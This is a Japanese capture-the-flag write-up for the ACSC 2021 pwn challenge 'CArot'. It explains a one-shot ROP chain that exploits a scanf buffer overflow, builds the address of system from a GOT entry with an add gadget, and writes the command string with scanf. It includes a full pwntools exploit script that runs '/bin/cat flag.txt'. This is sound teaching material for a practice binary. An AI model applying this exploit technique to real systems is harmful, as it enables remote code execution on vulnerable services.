Asian Cyber Security Challenge - CArot
TL;DR
- ワンショットでフラグを入手しなくてはならないROP
- GOT経由でRW領域上にlibc中のアドレスを書き込み、そこに
add
命令で加算する形でsystem
のlibc中におけるアドレスを用意するようなROPを組む - 実行したいコマンドもRW領域に書き込む必要があるが、これには
scanf
を利用する
Prerequisite
- ROP: 下記に示すように簡単な問題ではあまり使われないガジェットも出てくる
add
によるアドレスの加算- JOP
Writeup
HTTPサーバのようなプログラムのC言語コードとそれをコンパイルしたバイナリ、加えてそれとの通信を仲介するためのプロキシが与えられる。バイナリをchecksecした結果は次の通り1
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
プロキシのコードは次のようになっている。
#!/usr/bin/python3
from time import sleep
from sys import stdin, stdout, exit
from socket import *
LIMIT = 4096
buf = b''
while True:
s = stdin.buffer.readline()
buf += s
if len(buf) > LIMIT:
print('You are too greedy')
exit(0)
if s == b'\n':
break
p = socket(AF_INET, SOCK_STREAM)
p.connect(("localhost", 11452))
p.sendall(buf)
sleep(2)
p.setblocking(False)
res = b''
try:
while True:
s = p.recv(1024)
if not s:
break
res += s
except:
pass
stdout.buffer.write(res)
HTTPサーバのコードは100行を超えて長いので各自見ていただくとして(例によって一番下で問題ファイルのリンクを載せている)、次に示すようにhttp_receive_request()
関数においてscanf()
による任意長の入力を許しているという自明なBOFが存在する。
char* http_receive_request() {
long long int read_limit = 4096;
connect_mode = -1;
char buffer[BUFFERSIZE] = {};
scanf("%[^\n]", buffer);
getchar();
if (memcmp(buffer, "GET ", 4) != 0) return NULL;
それならただのROPで「libc leak -> ret2main -> リターンアドレス書き換え」のように行けてしまうような気がするが、プロキシによってなんと「1回」しか送信が出来ない。したがってこの問題は1回のROPでlibc leak (といってもアドレスを知ることは叶わない) と任意コード実行を行う必要がある。
通常の簡単なROPにおいても、やっていることはlibc leakしてそこにアドレスの差分を足し引きして実行したいアドレスにしているだけであり、これをメモリ上だけで行えないかを考えてみる。
ELFでは.bssや.dataのようなセクションの為にReadbleかつWritableな領域(以下、RW領域)が存在することから、GOTからどうにかしてRW領域にlibc中のアドレスを書き込み、それをadd命令で加算して、その結果を読んでからどうにかしてRIPに設定するという方針にする。そのためにROPガジェットを頑張って探す2。
まず任意アドレスに対するrax
への読み込みが出来るガジェットとして0x400b7dに存在するmov rax, qword ptr [rbp - 8] ; add rsp, 0x10 ; pop rbp ; ret
を用いる。rbp
は(このガジェットの末尾にもあるが) pop rbp; ret
のようなガジェットで任意の値に設定可能なので読みたいアドレスより8大きいだけの値にすることで任意のアドレスの値をrax
に設定出来る。
続いて任意アドレスに対してrax
の値を書き込めるガジェットを探す。これは0x400caeにあるmov qword ptr [rbp - 0x30], rax ; jmp 0x400cc1 -> jmp 0x400cc6 -> add rsp, 0x30 ; pop rbp ; ret
を用いた。jmp
が連続するが、最終的に良い感じのROPガジェットに落ち着く。既にrbp
は任意の値に出来る事を言っているので書き込みたいアドレスより0x30だけ多い値を設定すればrax
の値をそこへ書き込むことが出来る。
この2つを利用して、適当な関数(今回はsetbuf
を使った)のGOTからlibc中におけるsetbuf
のアドレスをrax
に読み出し、ELF中のアドレスが既知であるRW領域(0x602200を使った)に書き込んだ。
任意アドレスの値に対する加算用のガジェットしては0x400888に存在するadd dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
を用いる。ebx
については0x4010ca
にあるpop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
を利用することでrbx
を任意の値に設定出来ることから、加算したい値があるアドレスに0x3d足したものをrbp
に、足したい値をrbx
に設定することで、加算が実現できる。
先程RW領域に書き込んだsetbuf
のlibcにおけるアドレスとsystem
のlibcにおけるアドレスとの差分は手元で事前に計算できるので先に計算しておき、このガジェットでそれを加算してsystem
のlibc中におけるアドレスを計算した。
こうして出来上がった値をどうRIPに設定するかであるが、jmp rax
が0x400821に存在するので先程のrax
への任意アドレス読み込み用のガジェットと併せて用いることでRIPとすることが出来る。
残すはsystem
で実行したいコマンド(ここでは"/bin/ls"や"/bin/cat <flag filename>"
)のための任意の「値」書き込み用のガジェットだが、これは頑張って探してもなかなか出てこなかったのでWriteupをカンニングした結果、scanf
が使える事が発覚した。
scanf("%[^\n]", buffer);
によって、改行まではbuffer
に読み込まれてROPに使われる。ここでもう一度scanf("%[^\n]", buffer);
をすると、stdinに残っている改行コードが読まれて、特に何もbuffer
に読み込まず終わり、何の意味もなさないように思えるが、実は最初のscanf()
の後にはgetchar()
が存在し、ここで改行が食われる。よって、もう一度scanf("%[^\n]", buffer);
を呼ぶことでROP用のペイロードの後ろに改行を挟んでくっつけたデータを読み込むことが出来る。
なお、scanf()
は引数を2つとるのでrdi
とrsi
用のガジェットが必要になるが、これはpop rdi ; ret
とpop rsi ; pop r15 ; ret
という形で存在する。
実行したいコマンドの書き込み先は先程同様にアドレスが既知のRW領域で良い。これでここのアドレスをpop rdi ; ret
でrdi
に設定すれば無事にsystem(<cmd>)
が実行される。
Code
※プロキシを挟まず素のバイナリでワンショット決めただけ
from pwn import process, ELF, p64, remote
def dump_addrdict(d):
for k, v in d.items():
print(k, hex(v))
elf = ELF("./carot")
libc = ELF("./libc-2.31.so") # same as my `Ubuntu 20.04` environment
gadgets = {
"rdi": 0x4010d3,
"rsi": 0x4010d1, # pop rsi ; pop r15 ; ret
"rbx": 0x4010ca, # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
"rbp": 0x400828,
"ret": 0x4006d6,
"aar_rax": 0x400b7d, # mov rax, qword ptr [rbp - 8] ; add rsp, 0x10 ; pop rbp ; ret -> add rsp 0x10の処理の為にゴミが2つ必要
"aaw_rax": 0x400cae, # mov qword ptr [rbp - 0x30], rax ; jmp 0x400cc1 -> jmp 0x400cc6 -> add rsp, 0x30 ; pop rbp ; ret
"add": 0x400888, # add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
"jmp_rax": 0x400821, # jmp rax
}
addrs = {
"scanf": elf.plt.__isoc99_scanf,
"libc_setbuf": libc.symbols.setbuf,
"libc_memcmp": libc.symbols.memcmp,
"libc_scanf": libc.symbols.__isoc99_scanf,
"libc_getchar": libc.symbols.getchar,
"libc_system": libc.symbols.system,
"libc_execve": libc.symbols.execv,
"cmd_written": 0x602100,
"libc_written": 0x602200,
"scanf_arg": 0x4012f0,
"setbuf_got": elf.got.setbuf,
"onegadgets": 0xe6e73,
}
# cmd = b"/bin/ls"
cmd = b"/bin/cat flag.txt"
dump_addrdict(addrs)
sc = process(["./carot"])
# sc = remote("localhost", 11451)
# print("[+] setting breakpoints: b *0x400fe3")
# input("[+] waiting...")
# print("[+] Done")
diff = addrs["libc_system"] - addrs["libc_setbuf"]
payload = b"a" * 536
payload += p64(gadgets["rdi"])
payload += p64(addrs["scanf_arg"])
payload += p64(gadgets["rsi"])
payload += p64(addrs["cmd_written"])
payload += p64(0)
payload += p64(addrs["scanf"])
payload += p64(gadgets["rbp"])
payload += p64(addrs["setbuf_got"] + 8)
payload += p64(gadgets["aar_rax"])
payload += p64(0)
payload += p64(0)
payload += p64(addrs["libc_written"] + 0x30)
payload += p64(gadgets["aaw_rax"])
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(gadgets["rbx"])
payload += p64(diff % 2**64)
payload += p64(addrs["libc_written"] + 0x3d)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(gadgets["add"])
payload += p64(gadgets["rbp"])
payload += p64(addrs["libc_written"] + 8)
payload += p64(gadgets["aar_rax"])
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(gadgets["rdi"])
payload += p64(addrs["cmd_written"])
payload += p64(gadgets["ret"])
payload += p64(gadgets["jmp_rax"])
payload += b"\n" + cmd
# writable 0x602000-0x603000
# ROPの流れ
# 1. "/bin/ls"をRWな領域に書き込む(scanfを使う)
# 2. RWな領域にlibcのアドレスが既に入っているどこかのGOTをaar_raxとaaw_raxで召喚する
# 3. add gadgetでそいつを加算し、libc@systemのアドレスとする
# 4. aar_raxでraxにそのアドレスを格納する
# 5. 引数を用意してjmp raxでsystemを発火する
with open("./payload.txt", "wb") as f:
f.write(payload)
sc.sendline(payload)
sc.interactive()
Flag
ローカルでやっただけ
(だが、この問題のフラグは問題のポート番号と併せて一度見ておく事を推奨(?) する)
Resources
- acsc-challenges-2021-public/pwn/carot/distfiles at main · acsc-org/acsc-challenges-2021-public: 問題ファイル
- Asian Cyber Security Challenge 2021:
scanf()
で任意の値の書き込みをしているWriteup
最初Full RELROを見逃してGOT Overwriteで解こうとして失敗した、昨日の問題に引っ張られ過ぎである
今回はROPgadget.py
を用いた。デフォルトだとpop rbx
用のガジェットが出てきてくれなかったので--depth=20
オプションを付けたら生えてきた